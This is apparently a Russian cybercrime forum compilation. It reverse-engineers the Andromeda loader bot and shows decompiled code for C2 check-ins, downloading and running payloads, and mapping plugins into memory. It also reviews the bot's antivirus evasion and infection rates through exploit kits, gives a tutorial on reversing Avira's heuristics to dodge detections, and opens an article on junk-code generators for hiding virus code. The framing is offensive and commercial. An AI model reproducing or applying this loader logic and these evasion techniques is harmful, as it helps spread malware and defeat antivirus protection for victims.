      lpAddress = VirtualAlloc(0, cbData, 0x1000u, 4u);
      cchValueName = 12;
      if ( RegQueryValueExA(hKey, &ValueName, 0, 0, lpAddress, &cbData) )
        break;
      map_image(lpAddress);
      VirtualFree(lpAddress, 0, 0x8000u);
      ++dwIndex;
    }
    result = RegCloseKey(hKey);
  }
  return result;
}


int __stdcall map_image(int a1)
{

  decrypt(a1 + 16, *(a1 + 8));
  v5 = VirtualAlloc(0, *(a1 + 4), 0x1000u, 0x40u);
  if ( v5 )
  {
    unpack(ebp0, a1 + 16, v5);
    if ( v2 )
    {
      if ( fix_reloc(v5) )
      {
        fix_import(v5);
        if ( v3 )
          return ((v5 + *(*(v5 + 60) + v5 + 40)))(v5, 1, &g_event);
      }
    }
    VirtualFree(v5, 0, 0x8000u);
  }
  return 0;
}

Далее в бесконечном цикле, запускается основной поток, который стучится, получает задания и выполняет их, после выполнения дергая глобальный event, который предварительно был создан, в главном же потоке его походу должны дожидаться, но дожидаются вновь созданный, видимо небольшая ошибка.

Код:
    while ( 1 )
    {
      CreateThread(0, 0, main_thread, 0x18894, 0, 0);
      v1 = CreateEventA(0, 0, 0, 0);
      WaitForSingleObject(v1, 540000u);
      CloseHandle(v1);
    }

В основном потоке все просто, собирается инфа по оси ( GetVersionEx ), делается запрос на гугл получая реальный ip ( get_real_ip ), собирается запрос, где g_bot_id получается по средством GetVolumeInformation, а g_bot_ver вшитая в бинарник контстанта.

Код:
void __stdcall main_thread(int a1)
{

  lpMem = HeapAlloc(hHeap, 8u, 0x100u);
  VersionInformation.dwOSVersionInfoSize = 148;
  GetVersionExA(&VersionInformation);
  get_real_ip();
  v5 = v4;
  BYTE1(real_ip) = v3;
  LOBYTE(real_ip) = v5;
  real_ip = __ROR__(real_ip, 16);
  v6 = BYTE1(real_ip);
  BYTE1(real_ip) = real_ip;
  LOBYTE(real_ip) = v6;
  wsprintfA(lpMem, "id=%lu&v=%04x&os=%04x&localip=%lu", g_bot_id, g_bot_ver, os_ver, real_ip);
  v1 = &g_links;
  while ( 1 )
  {
    v8 = *v1;
    ++v1;
    if ( !v8 )
      goto LABEL_7;
    v9 = http_request(0, v8, "stat.php", lpMem);
    if ( v9 )
    {
      v10 = recv_with_realloc(v9);
      v12 = v10;
      if ( v10 )
      {
        if ( *(v10 + 1) == '--!<' )
        {
          g_task_name = *(v1 - 1);
          base64_decode_n_execute_task(v10);
          SetEvent(g_event);
LABEL_7:
          HeapFree(hHeap, 0, lpMem);
          ExitThread(0);
        }
      }
    }
  }
}

В цикл из глобального массива g_links, берутся зашитые в бота домены по каждому из них идет попытка отстука, в ответ получается base64 буфер с разными задания для данного бота, которые потом выполняются. Задание бывают трех типов, первое это просто запуск процесса, второе это добавления плагина в реестр ( описано выше ), проецирование его в память и передача на него управления и третье это перезапись основного файла бота, обновление.

Код:
    case '1':
      v6 = GetTickCount();
      v7 = ExpandEnvironmentStringsA("%TMP%", v17, 0x100u);
      wsprintfA(&v17[v7 - 1], "\\%08x.tmp", v6);
      v5 = http_request(1, name, 0, 0);
      if ( v5 )
      {
        if ( create_write_file_by_name(v5, v17, 1) )
          v15 = create_process(v17);
      }
      break;
    case '2':
      v8 = http_request(1, name, 0, 0);
      if ( v8 )
      {
        v9 = recv_with_realloc(v8);
        v16 = v9;
        if ( v9 )
        {
          v10 = (v9 + 4);
          if ( *(v9 + 1) == 0x4034B50 )
          {
            if ( decrypt2(v9 + 20, *(v9 + 3)) == *(v9 + 4) )
            {
              if ( add_plugin_to_reg(v10) )
              {
                v15 = map_image(v10);
                HeapFree(hHeap, 0, v16);
              }
            }
          }
        }
      }
      break;
    case '3':
      v14 = 1;
      if ( !RegCreateKeyExA(
              HKEY_CURRENT_USER,
              "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
              0,
              0,
              0,
              0x20019u,
              0,
              &hKey,
              0) )
      {
        cbData = 256;
        RegQueryValueExA(hKey, "Load", 0, 0, v17, &cbData);
        RegCloseKey(hKey);
        CloseHandle(hObject);
        v11 = http_request(1, name, 0, 0);
        if ( v11 )
        {
          if ( create_write_file_by_name(v11, v17, 1) )
          {
            CloseHandle(*(&stru_14254.lpVendorInfo + 2));
            v15 = create_process(v17);
          }
        }
      }
      break;

После для каждого из заданий делается доп отстук подтверждающий, что задание выполнено удачно. Надо так же заметить, что я реверсил дллку из pro версии лоадера, но я не думаю что они вообще отличаются.


[14:09:55] <Ar3s> странно. автор клялся и божился что никаких dll нету
[14:10:18] <EL-> ну она внутри и мапится в память, на винт она не дропается
[14:10:20] <EL-> по сути считай нету

[18:13:44] <waahoo> отличная работа) 5+ реверсеру.
[18:23:56] <waahoo> кое какие комментарии я все же дам.

>>Minimum supported client: Windows Vista, Windows XP with SP2
да, я планирую также включить в бота векторную обработку исключений, т.е. ниже хр он работать не будет.

>>отсутствие проверки на низкий integrity level и попытки поднять его до нормального
нам и не нужны права админа и высокий integrity level. бот и без этого прекрасно работает.


------==Обходы==-----
winXP SP3
На все АВ ставятся самые последние обновления баз и модулей!!!
[*]Comodo Internet Security - палится перехват клавиатуры и инжект как на лайт так и на фулл версии. Рис.2
[*]Outpost Security Suite Pro 7 - не палит ничего!
[*]Kaspersky Internet Security 2011 - запустить на VirtualBox не удалось.
[*]ESET NOD32 Smart Security 4.2 - не палит ничего!
[*]avast! Internet Security 6 - палит вызов софта как в настройке "дом" так и в настройке "интернет". Походу спалился мой домен... Беру билд на новый домен. Палится инжект. Пробую режим дом и интернет. Ничего не меняется. Рис.3 Рис.4
[*]Avira Premium Security Suite - палит exe Рис.5. Смотрим криптованный вариант - без проблем.

win7 SP1
На все АВ ставятся самые последние обновления баз и модулей!!!
[*]Comodo Internet Security - автоматом запускает в sendbox Рис.6 Отключаю sendbox и стартую снова. Палит перехват клавиатуры Рис.7. Разрешаю. Палит инжект в svchost. Рис.8
[*]Outpost Security Suite Pro 7 - не палит
[*]Kaspersky Internet Security 2011 - палит Рис.9
[*]ESET NOD32 Smart Security 4.2 - не палит ничего!
[*]avast! Internet Security 6 - предлагает открыть в песочнице Рис.10. Разрешаю обычный запуск. Все чисто.
[*]Avira Premium Security Suite - не палит


!!!В этом месте выяснилось что крипт давал доп алерты на comodo. На этом месте автор сильно задумался и через пару дней сообщил что криптом первое время будет заниматься сам.
Тест пришлось переделать заново.
[22:25:13] <waahoo> отрабатывает, но при запуске проактивка палит инжект шелл-кода, в некриптованом билде мой комод видит только запуск свцхоста. нажимаю "пропустить" благополучно скачивает и запускает два ексешника, оба стартуют и ломятся в сеть.
по поводу крипта, написан на VB, он запускает вторую свою копию (получаем алерт на запуск процесса) и инжектит туда шелл-код (получаем еще один алерт, скрин ниже), как он инжектит я не стал разбираться, далее уже мой бот запускает свцхост (и еще один алерт).

Cкрин алерта http://stuffed.ru/uimages/y2011/06-22/2365.gif думаю другие ав продукты также беспощадно спалят такой крипт, он только сигнатурно чист.
[23:06:28] <waahoo> неполучается проверить поведение остальных ав, почему то у меня на виртулке, ни аваст, ни нод, ни оутпост не видят банального WriteProcessMemory/CreateRemoteThread неговоря уже о сабже, каспер даже не запускаецо. если есть возможность, проверь.

win7 SP1 Тест2 (глобальная доработка которая прошла после первых тестов.)
[*]Comodo Internet Security - предлагает запустить в sandbox Рис.11 Отключаю его. Стартую заново. Палит запуск. Рис.12
[*]Outpost Security Suite Pro 7 - не палит.
[*]Kaspersky Internet Security 2011 - не палит.
[*]ESET NOD32 Smart Security 4.2 - не палит
[*]avast! Internet Security 6 - Предлагает открыть в песочнице. Делаю обычный старт - всё нормально.
[*]Avira Premium Security Suite - не палит
!!!Копировал файл на рабочий стол. Файл не удалился во всех тестах (фиксится в данный момент)


------==Тесты==------
В тестах я грузил андромеду или через другой лоадер или со связки, а уже с него для полной картины я прогружал стукача.

Тест1
Lite loader=>andromeda
Отгружено - 434
Отстучалось в админку - 321-30=291
Отстук составляет - 67%

Стукач
отгружено с андромеды - 304
отстучалось на гейт - 303
Отстук составляет - 99,7%

LiteLoader Админка_до Админка_после Задание


Тест2
katrin exploit system=>amdromeda
Неожиданно катрина на 5К трафа обнулила стату.
Пробовал еще несколько раз сливать - тоже самое. Пришлось с автором решать вопрос.
Таким образом сколько отстучалось новых знаю, но сколько пробито было - не заскринил, придется поверить на слово автору катрины: 10949|7152|799|11.17%
Таким образом считаем что было отгружено - 799
Отстучалось - 601-321= 280
Отстук составляет - 35%

Рис16

!!!!!!! Начали разбираться что же за проблема. Как раз в это время я параллельно тестил на фаерволы. И выяснили что проблема с криптом не совсем банальная. И теоретически может дать подобный эффект. Поэтому спустя некоторое время я получил обновленный билд и сделал тест заново.

Тест3
katrin exploit system=>amdromeda
Перед тестом я почистил мертвых ботов в админке.
Отгружено по связке - 644
Отстучалось новых на стату - 595-218=377
Отстук составляет - 58,5%

Катрина Андромеда_до Андромеда_после
Андромеда_через_сутки


Тест4
Dloader=>andromeda
Отгружено по лоадеру - 933
Отстучалось новых на стату -892-90=802
Отстук составляет - 85,9%

Dloader Андромеда_до Андромеда_после

--------==Отзыв о авторе==-------
Очень приятный в общении человек. Специалист своего дела, в чем мы неоднократно убеждались на протяжении проходившего квеста. Автор занял почетное второе место и писал от бедра на асме.
Трудоголик, часто для того что бы выяснить какой-нибудь спорный момент с лоадером не спал днями и ночами. Учтив в общении. Очень активно помогал и подсказывал по ходу тестов и работы лоадера.

--------==Отзыв о лоадере==-------
Итак, подводя итоги что хочется написать. Лоадер пока еще молод. Было сделано не много тестов на отстук и говорить о его показателях рано.
Но, основываясь на моем знакомстве с автором, я уверен, что показатели будут улучшаться день ото дня.
На текущий момент лоадер замечательно выполняет свою функцию. Отстук с него очень высокий.
Несколько хромает отстук самого лоадера. Ждем улучшений и доп тестов.
И хочется еще сказать пару слов о перспективах. Насколько мне известно лоадер модульный. На данный момент несколько модулей уже реализовано, и на подходе еще немалое количество. Так что в перспективе этот продукт займет стойкую позицию на рынке и найдет своих потребителей.

--------==Благодарности==-------
waahoo - за предоставленный продукт и замечательные беседы в жабе!
el- - за реверс! Отдельная почетная благодарность нашему соавтору!
Blackkat - спасибо за связку.
Gdark, chococream, inc - за неоценимую помощь!
ALL members - за то, что посещаете наш форум и читаете мои обзоры.

Записки на полях, специально для xss.pro/ by Ar3s
 
ibm5150.jpg
Персональный компьютер отмечает в эти дни памятную дату. 12 августа 1981 года IBM выпустила на рынок свою первую подобную машину: IBM PC модели 5150. Сейчас количество используемых в мире персональных компьютеров превышает 1 миллиард и, по некоторым прогнозам, к 2014 году вырастет вдвое. И значительная часть населения планеты не представляет своей жизни без ПК.

Справедливости ради нужно напомнить, что это не 30 лет со дня рождения: первый ПК собрали в Apple за несколько лет до того, но именно детище IBM положило начало глобальной компьютеризации.

Революционным стал подход к производству – для уменьшения затрат на создание в IBM стали использовать комплектующие разных поставщиков. В частности, микропроцессор был позаимствован у компании Intel, операционную систему MS DOS разработала компания Microsoft при непосредственном участии ее основателей Билла Гейтса и Пола Аллена. Это помогло снизить стоимость ПК с процессором 4,77 МГц и памятью 16 Килобайт до полутора тысяч долларов.

В течение пяти лет планировалось продать около 250 тысяч компьютеров. Однако "дело" пошло в 60 раз быстрее: только за первый месяц было продано 241683 ПК.

Появление IBM PC породило огромный спрос на персональные компьютеры, которые стали "орудием труда" людей самых разных профессий. А наряду с этим возник гигантский спрос на программное обеспечение и компьютерное периферийное оборудование. На этой волне возникли сотни новых фирм, занявших свои ниши на компьютерном рынке.

Внедренную IBM технологию сборки компьютеров впоследствии взяли на вооружение и другие компании. Среди них – и Apple, которая совсем недавно превзошла по стоимости нефтегазовую корпорацию Exxon Mobil, крупнейшую компанию США по размеру корпоративного капитала: упала до 341,4 миллиарда долларов против 341,5 миллиарда. Это событие многие восприняли как победу новой экономики, основанной на компьютерных технологиях, над традиционным сырьевым бизнесом.

Россия в "компьютерной сфере" не отстает от большинства развитых стран мира: по данным Всероссийского центра изучения общественного мнения (ВЦИОМ), более половины – 55% – россиян имеют сегодня у себя дома персональный компьютер. При этом компьютеризация в России происходит нарастающими темпами: еще в 2007 году компьютерами обладали всего 34% граждан. Как и следовало ожидать, на "острие" компьютеризации находится молодежь – 75% тех, кому между 18 и 24 годами, владеют персональной ЭВМ.

Источник
 
news_icon.jpg
Первое о чем хотелось бы сообщить - в разделе Пособия создан подраздел обзоры.
Пособия
»Видеоматериалы
»Статьи
»Книги и мануалы
»Обзоры

Все основные обзоры перенесены туда. Если кого-то забыл - не обижайтесь. Просто сообщите мне о упущенных мной материалах и я все сделаю.

Второе - На форуме создан закрытый раздел для тех кто желает работать с руткитами, а вернее с методиками их создания и анализом работы. Доступ в раздел может получить любой желающий после прохождения собеседования с модератором раздела (chococream) и его ободрением вашей кандидатуры.

Ну и третье, самое незначительное - временно работает CS сервер. У меня простаивал сервак и вчера вечером после просьбы наших форумчан на нем был поднят игровой nostream сервер. Поддерживаются 47 и 48 протоколы. Желающим размяться - заходите. С кем поиграть - можно найти в конференции.
 
Avira.png
Вступление
1. Поиск имени нужного детекта в модулях авиры
2. Поиск нужной проверки от антивируса
3. Анализ проверяемых флагов
Заключение

Вступление
Приветствую. Эта статья будет посвящена самому неадекватному антивирусу – авире. Мне всегда было интересно, как же она умудряется отличать вирус от невируса, какие критерии она использует. В этой статье я покажу, как нужно ее реверсить. Некоторые моменты будут озвучены просто как факт, я не буду рассказывать, как я к ним пришел – я просто этого не помню. Также хочу заранее сказать, что я не реверсер, поэтому многие вещи, возможно, я делал не совсем оптимально. Итак, приступим.

1. Поиск имени нужного детекта в модулях авиры

Для анализа нам потребуются IDA Pro с HexRays, OllyDbg, возможно PE Tools. Исследование будет проводиться на примере одного из моих файлов. Назовем его sample.exe. Проверяем его авирой – получаем TR/Crypt.XPACK.Gen2.
16187781.png


Очевидно, чтобы определить нужные нам признаки, нужно найти эту строку в авире, а потом проанализировать код, который к ней обращается.

Весь код анализатора, который нам нужен, находится в библиотеке aeheur.dll. Не буду рассказывать, как я это узнал – это долго и не имеет никакого значения. Загружаем указанную библиотеку в IDA Pro и через поиск (ALT+T) пытаемся найти "TR/Crypt.XPACK.Gen2".

72591147.png


Поиск не дает результатов. Что ж, значит переходим во вкладку Strings (Shift+F12) и начинаем просматривать строки – вдруг найдутся похожие или аналогичные имена, ну или просто что-то интересное.

48958071.png


И что мы видим – очень много переменных, которые напоминают текст, причем однотипный, но нечитаемый. Логично предположить, что это зашифрованный текст. Осталось выяснить, по какому алгоритму он был зашифрован. Я сделал так: выбирал строки наугад и смотрел, каким функциям они передаются. Я очень долго перебирал эти функции, и среди них мне попалась функция расшифровки. Оказалось, что все эти строки зашифрованы обычным XOR с ключом 0х38. Чтобы упростить нам задачу в дальнейшем, создаем скриптовый файл для IDA Pro avira_decrypt.idc с таким содержанием (он нам еще не раз пригодится):

Код:
static main(void){
  auto i;
  i = ScreenEA();
  while (Byte(i) != 0x00){
    PatchByte(i,Byte(i)^0x38);
    i = i+1;
  }
}

Итак, теперь мы знаем, как спрятаны строки. Чтобы найти нужную нам строку в авире, нужно зашифровать ее, а потом искать в уже зашифрованном виде. Для этого я написал утилиту, которая обычный текст зашифровывает по такому же алгоритму, а потом сохраняет в шестнадцатеричном виде. Написание такой утилиты я оставляю за Вами. Итак, берем строку "TR/Crypt.XPACK.Gen2", применяем к каждому байту XOR с ключом 0х38, переводим в текстовый вид. Получаем такую строку: "6C 6A 17 7B 4A 41 48 4C 16 60 68 79 7B". Забегая вперед, скажу, что индекс 2 в конце строки авира не хранит вместе со строкой, она добавляет его кодом. Поэтому обрезаем нашу строку на 1 байт, получаем "6C 6A 17 7B 4A 41 48 4C 16 60 68 79". Именно ее мы будем искать в нашей длл. Для этого переходим в IDA Pro на вкладку IDA View-A, открываем бинарный поиск (ALT+B) и вбиваем зашифрованную строку

37996901.png


Отлично, строка найдена. IDA Pro перебрасывает нас как раз на нее.

86782371.png


Теперь, для нашего удобства, строку неплохо бы расшифровать. Помните наш скрипт? Ставим курсор на начало строки и запускаем наш скрипт. Для первого запуска скрипта нужно нажать ALT+F7 и выбрать файл скрипта. Сразу получаем расшифрованную строку. Чтобы было еще удобнее, не убирая с нее курсор, нажимаем A – IDA Pro даст полноценное имя нашей переменной

35441213.png


2. Поиск нужной проверки от антивируса

Первая часть нашего исследования завершена – у нас есть имя детекта. Осталось самое сложное – проанализировать код и флаги, которые используют этот детект. Не снимая курсор со строки, нажимаем CTRL+X, чтобы увидеть, откуда идут ссылки на эту строку

63310361.png


Да, друзья, искомый нами детект присваивается в десятках мест! И нам нужно найти именно то единственное, где срабатывает проверка. Выхода нет – переходим по первой ссылке и оказываемся в незнакомой функции. Если нажмем F5, HexRays покажет нам С-подобный код функции. Много непонятного, правда?

Я опять вынужден пропустить значительную часть своих исследований, т.к. это все долго и нудно. HexRays пока можно закрыть, он нам не нужен. Перед нами сейчас стоит комплексная задача – сначала найти функцию проверки, которая срабатывает на наш файл. Потом найти внутри этой функции нужную проверку (а их очень много для каждого из детектов). И только после этого можно смотреть на конкретные флаги, которые сравнивает Avira.

Итак, сейчас мы находимся внутри функции, которая дает один из детектов с нужным нам именем. Нажимаем CTRL+P – появляется окно со списком функций. Просто жмем Enter.

99107208.png


Так мы попадаем к началу функции, в которой мы были (листать колесиком мышки было бы слишком долго). Жмем CTRL+X и снова Enter – попадаем в то место, откуда вызывается наша проверка. Обратите внимание на однотипный код – вызов функции, сравнение с 0. Если не 0, тогда вызывается следующая функция. Если 0, тогда на выход. Это вызываются подряд проверки для самых разных детектов. Следовательно, если функция возвращает 0 – файл признан вирусом, если не 0 – файл чист.

94164256.png


Кстати, можем переименовать нашу функцию, чтобы было удобнее читать. Ставим курсор на нашу функцию, нажмем N, вводим имя.

27971935.png


81706089.png


Итак, что мы имеем – огромное количество функций с огромным количеством проверок внутри каждой. Как найти нужную нам? В этом нам поможет отладчик. Для начала несколько слов о том, как работать с авирой в отладчике. В последних версиях этого антивируса появилась защита собственных процессов. Чтобы она нам не мешала, возьмите папку авиры из Program Files и скопируйте в любое место – именно из него мы и будем работать. Также нам стоит переименовать avscan.exe в любое другое имя – его мы будем загружать в отладчик. Собственная защита авиры не даст загрузить в отладчик ни один файл с таким именем. Поэтому просто переименовываем. Напоминаю, что мы работаем со скопированной папкой авиры, а не с оригинальной! В оригинальной вам ничего не позволят сделать!

Теперь о запуске сканирования. Чтобы просканировать файл, нужно создать конфигурационный файл, внутри которого будет прописан путь к нашему файлу. А потом нужно передать путь к конфигурационному файлу в командную строку avscan.exe (в статье я буду применять это имя, но помните – мы этот файл переименовали!). Конфигурационный файл имеет такое содержание:

Код:
#########################################################
# $AV$SCANNER$AVP
#########################################################
# This file has been created automatically.
# DO NOT MODIFY!!
#########################################################
[CFG]
GuiMode=1
ExitMode=1

[SEARCH]
Parameterx00300432
Path0=C:\sample.exe

[CONTROLCENTER]
ProfileName=ShlExt

[SCANNER]

Порядок отладки такой: создаем текстовый файл cfg.txt с таким содержанием, только вместо c:\sample.exe прописываем путь к своему сканируемому файлу. Потом в отладчике открываем avscan.exe, а в качестве параметра прописываем путь к cfg.txt. Вот как это выглядит у меня:

37726147.png


С запуском разобрались, можно приступать к отладке. Кстати, забыл предупредить – после каждого сканирования файл конфигурации удаляется, его придется создавать заново. Итак, сначала возвращаемся к IDA Pro. Помните тот длинный список вызовов функций проверки? Перейдем в начало этого списка и запомним его адрес:

58825212.png


В моем случае этот адрес равен 100CDADB. Нам нужно определить самую первую функцию из списка проверок, которая вернет 0. Поэтому нам нужно поставить точку останова в начале списка и протрассировать его, пока не получим 0.

Для этого открываем в OllyDbg файл aeheur.dll и в командной строке пишем bp 100CDADB (помните, у вас этот адрес может быть другим). Теперь, когда мы будем отлаживать avscan.exe, отладчик остановится на этом самом адресе. Все, можно закрывать в отладчике aeheur.dll и открываем avscan.exe (не забываем про параметры в командной строке). Файл загружен, смело жмем F9. Авира подгружает свои длл читает файл, выполняет проверки и останавливается на том самом адресе, где мы поставили точку останова:

36985524.png


Мы находимся в самом начале списка проверок. Все, что нам теперь требуется – трассировать код клавишей F8 и смотреть на значение еах после вызова каждой из функций. Уверен, этот процесс можно автоматизировать, но я не реверсер и не умею этого. Итак, мы дошли уже трассировкой до самого ret, а 0 в еах так и не появился. Расстраиваться не стоит – функции проверок разбросаны в куче мест. Просто продолжаем трассировать, пока не получим 0 в еах. Трассировать приходится не долго, попадаем вот в это место:

41320592.png


Видите вызов функции, а за ним еах сразу равен 0? Эта та самая функция, которая нужна нам. Ставим на ее вызов точку останова. Не забываем в IDA Pro сразу же переходить на это же самое место, чтобы не заблудиться:

61698401.png


Вот так это место выглядит в IDA Pro. Сразу даем этой функции аналогичное название для удобства. Неопытный читатель заметит, что адреса в OllyDbg и IDA Pro отличаются – это все потому, что IDA грузит библиотеку по одному и тому же адресу, а OllyDbg всегда по разному. Чтобы не запутаться, сравнивайте адреса по последним 4 цифрам и все будет ясно.

Итак, мы нашли функцию, которая определяет файл, как вирус. Заходим в нее в IDA Pro и жмем F5. Мы видим кучу разных проверок. Как найти из них нужную? Правильно, опять нам поможет отладчик. Помните, мы поставили точку останова на этой функции? Перезапускаем avscan.exe в отладчике (напоминаю, что cfg.txt нужно будет создать заново! он уже удален авирой!) и жмем два раза F9 (два раза потому, что первый раз сработает точка останова в начале списка проверок – помните еще про нее? Впрочем, она нам не нужна и можно ее удалить – в этом случае жать F9 нужно будет один раз).

Точка останова сработала, мы стоим на вызове функции, которая дает детект. Заходим в нее (F7). Теперь трассируем по F8 все проверки, пока не будет вызвана функция расшифровки нужной нам строки. Как это определить? Я не буду это описывать. Немного опыта и Вы сами научитесь определять этот момент. Просто трассируйте до первого JMP (это совет навскидку, все-таки лучше потренируйтесь пару раз). Скажу честно, трассировать придется долго. Запаситесь терпением и хорошей реакцией.

Трассировал я долго, пока не вышел на этот момент (показываю в IDA Pro):

97908669.png


Знакомая картина? Помните тот список вызовов функций с проверками? Похоже, правда? Скажу по секрету, так оно и есть – это точно такой же список вызовов, но только других функций с другими проверками. Видимо, ни одна из проверок в текущей функции не дала результата и она полезла в подфункции с аналогичными проверками. Вобщем, пугаться не стоит, просто дальше трассируем по F8, пока не увидим в еах 0 после вызова. Как только увидели 0, ставим точку останова на этот вызов (все остальные точки останова удаляем), даем этой функции имя в IDA Pro:

93037445.png


87629764.png


Теперь в IDA Pro заходим в эту функцию, в OllyDbg снова перезапускаем avscan.exe, жмем F9 и после точки останова заходим в функцию (F7). Теперь мы внутри функции. Снова ищем нужную нам проверку – снова трассируем по F8, пока не найдем расшифровщик или JMP. Еще раз напоминаю – я делаю это для своего файла. На вашем файле, пусть даже детект с таким же именем, проверка может находиться совершенно в другом месте. Но алгоритм и логика поиска та же самая.

На этот раз долго трассировать не пришлось. Место заветного прыжка обнаружилось довольно быстро. Я покажу код сразу в IDA Pro (в OllyDbg не буду показывать):

75632533.png


В моем случае был выполнен прыжок:

Код:
102D2021                 ja      short loc_102D2093

Как вы видите из листинга, в том месте, куда идет прыжок, идет обращение к строке, которую мы искали с самого начала, а потом безусловный JMP, который мы искали только что трассировкой по F8.

Итак, место проверки найдено. Теперь в IDA Pro нажимаем F5. Перед нами отличный С-подобный код, который четко показывает все проверки, выполнение которых ведет к детекту. Половина пути пройдена, могу Вас с этим поздравить. Но остается не менее сложная и трудоемкая задача – определить, какие же конкретно флаги сравниваются и что за функции вызываются. Готовы? Поехали дальше.

3. Анализ проверяемых флагов

Поиск и анализ флагов – нема не менее трудоемкая, чем вся эта статья. Я не буду описывать всю логику реверсинга. Я лишь остановлюсь на основных принципах, которые вам следует использовать для анализа.
Авира в своем анализе использует две структуры. Я назову их AVIRA_INFO и SCAN_INFO. В первой больше информации о файле и черт знает чем еще, во второй – самые разные части РЕ и флаги, которые она выставляет в зависимости от разных значений РЕ.

Зайдите в таблицу экспорта файла aeheur.dll. Видите функцию module_get_api? Зайдите в нее. Она возвращает адрес массива ссылок. Перейдите по первой ссылке в этом массиве. Вы попадете в функцию. Откройте ее в хексрейсе, так наглядней. Видите вызов сначала колбека, а потом memset(v23, 0, 0x3720u) ? Это выделение памяти и ее обнуление для структуры AVIRA_INFO. Дальше ряд функций инициализируют некоторые значения этой структуры. Например,

Код:
memcpy((char *)v24 + 64, v29, 0x40u)

Эта функция копирует первые 64 байта с точки входа в отдельный буфер структуры AVIRA_INFO. Особо париться из-за этой структуры не стоит, в ней мало чего интересного.

Значительно ниже вы увидите вызов sub_10005E2B(v23). Зайдите в нее. Видите сначала вызов колбека, а потом:

Код:
 memset((void *)result, 0, 0x2478u)

Это уже создание структуры SCAN_INFO. Она является куда более интересной – все основные флаги находятся в ней. Чуть ниже идет вызов sub_1001604E – это самая важная функция. Она устанавливает если не все, то абсолютное большинство флагов в SCAN_INFO. Она довольно легкая для анализа. Просто очень длинная. Во всех проверках авира только сверяет разные флаги. Но их инициализация происходит именно в этой функции.

Возвращаемся к нашей функции проверки. Перед Вами С-подобный код, верно? Видите, очень много проверок полей переменной v1 и почти нет a1? Так вот, v1 – это указатель на SCAN_INFO, а1 – на AVIRA_INFO. Если присвоить этим переменным соответствующие типы (Y), анализ станет на порядки проще и удобнее. Это справедливо для всех функций проверки.

Имея все это, как продолжить анализ? Элементарно! Или смотрите в OllyDbg значения конкретных флагов и сравниваете их с полями РЕ (тут вам пригодится PE Tools), или в IDA Pro анализируете ту функцию, которая устанавливает флаги (можно иногда подглядывать в OllyDbg). На самом деле, это не сложно. За пару вечеров можно смело разобрать свой детект.

Еще пару слов о функциях в авире. Видите, она кроме флагов сравнивает и результаты некоторых функций? Причем, эти функции получают в качестве параметра указатели на шифрованные строки. Так вот, берем скрипт (помните, мы скрипт писали?) и расшифровываем эти строки. После этого становится четко видно, какие параметры принимают функции. Если в параметрах идет имя 1 длл и 1 функции, значит функция проверяет наличие этой функции в импортах (ну и каламбур). Если в параметрах только имя длл – значит проверяется наличие длл. Если в параметрах только длл, а результат функции сравнивается с каким-либо числом, то эта функция возвращает количество функций в импорте из данной длл. Т.е. у авиры не нужно рассматривать каждый байт – большинство кода интуитивно понятно.

Хочется дополнительно остановиться на некоторых косяках авиры. Судя по всему, в штаты к себе они набирают или пьяных китайских студентов, или пьяных индийских студентов. Вобщем, Вы часто можете встретить несколько функций одинакового назначения. Я находил около 5 копий одной и той же функции по расшифровке строки!!! Несколько копий проверки функции в импорте. Для проверки энтропии я видел около 7-10 абсолютно одинаковых функций!!! Это ахтунг, товарищи. То же самое касается и флагов – таблица директорий, разные части РЕ – все это дублируется по несколько раз в SCAN_INFO. Зачем? Одному Аллаху известно. Поэтому, если увидите функцию, которая делает примерно то же, что и предыдущая – не впадайте в панику. Это не косяк Вашего реверсинга, это скорее всего одна и так же функция. Ну или ее копия.

Также Вы можете встретить код в стиле:
Код:
dwTrue = 0;
if ()
{
    dwTrue = 1;
}
else
{
    dwTrue = 1;
    ...
}
Кстати, небольшое предупреждение – в авире также есть функции, которые проверяют наличие сразу нескольких длл в импорте. Количество параметров у них не фиксированное. Но HexRays покажет Вам только один параметр! Старайтесь сверять количество параметров HexRays и обычного листинга.

Заключение

После краткого и беглого анализа С-подобный код для моей проверки стал выглядеть так:

47567411.png


Как видите, ничего сложного. Можно углубиться еще сильнее, а можно остановиться и на этом.

Успехов! (с) Михрютка
 
358f8ac7b5aa.jpg
Введение

Основной задачей мусорных инструкций является скрытие/защита полезного кода (от аверов, зорких глаз реверсера и других любопытных). Однако, "неправильный" трэш может стать причиной обнаружения вирусного кода, сводя на нет все наши старания.
Этот текст о том, как улучшить качество генерируемого мусора.

Кто противник

Допустим, что происходит проверка файла, заражённого нашим вирусом. Антивирус может действовать так:

--------------------------------------------------------------------------------------------------------------
- запустит поверхностный анализ файла: его структуры и каких-то участков кода (сбор информации для начала работы эмулятора, кодо-анализатора, эвристика, может чего-то ещё);
--------------------------------------------------------------------------------------------------------------
- далее, запускается эмуль, в процессе работы которого могут быть вызваны: анализатор кода (сбор данных для (дальнейшей работы) эмулятора и эвристика), а также сигнатурный анализ (поиск известных сигнатур в уже проэмулированном коде);
--------------------------------------------------------------------------------------------------------------
- после отработки эмуля в дело вступает эвристический анализ собранных данных (сигнатур для нашего виря ещё не сделали=)), где происходит подсчёт баллов "опасности". Если полученный результат больше заданного предела - получите клеймо heur-virus'a.
--------------------------------------------------------------------------------------------------------------

От эмуля нам поможет рабочая антиэмуль, от сигнатур - генератор мусора, который (как оказывается xD) использует наш вирь. Но если созданный трэш-код окажется слабым, то нас накроет эвристика.


План наступления

Итак, для построения более качественного трэш-кода, вначале я предлагаю выбрать, под генерируемый код какого компилятора мы будем "косить": ms, borland etc. После того, как выбран компилер (например, ms), можно ещё определить, под какой режим генерации/оптимизации мы будем подстраиваться ("min size"/"max speed"). Это всё, конечно же, не обязательно, но желательно. Так как под разными режимами код генерируется по-другому. Например, для ms-компилера, команда занесения единицы в регистр в режиме "max speed" (в основном) будет такая:

Код:
mov	eax, 1	;0xB8 0x01 0x00 0x00 0x00

А для "min size"

Код:
xor	eax, eax;0x33 0xC0
inc	eax	;0x40

Трэшген может генерировать оба эти варианта, но более правдоподобно смотрится, если держаться одной тактики (неизвестно, какие извращения будут в новых версиях эвристиков).

Далее, помимо разных фичезов, которые вы встроите в трэшген, он также должен уметь генерировать "реалистичный" код (похожий на обычный код стандартных программ, написанных на ЯВУ), а именно:

--------------------------------------------------------------------------------------------------------------
+ "правильные" инструкции (опкоды и операнды - например, команда "mov eax, ecx" может быть закодирована с помощью двух разных опкодов: 0x8B 0xC1 и 0x89 0xC8 -> ms-компилер юзает первый вариант; некоторые команды с использованием регистра EAX, имеющие "оптимизированные" варианты опкодов; etc);
--------------------------------------------------------------------------------------------------------------
+ "правильные" конструкции (например, test/cmp без последующей инструкции jmp/jxx - очевидное палево);
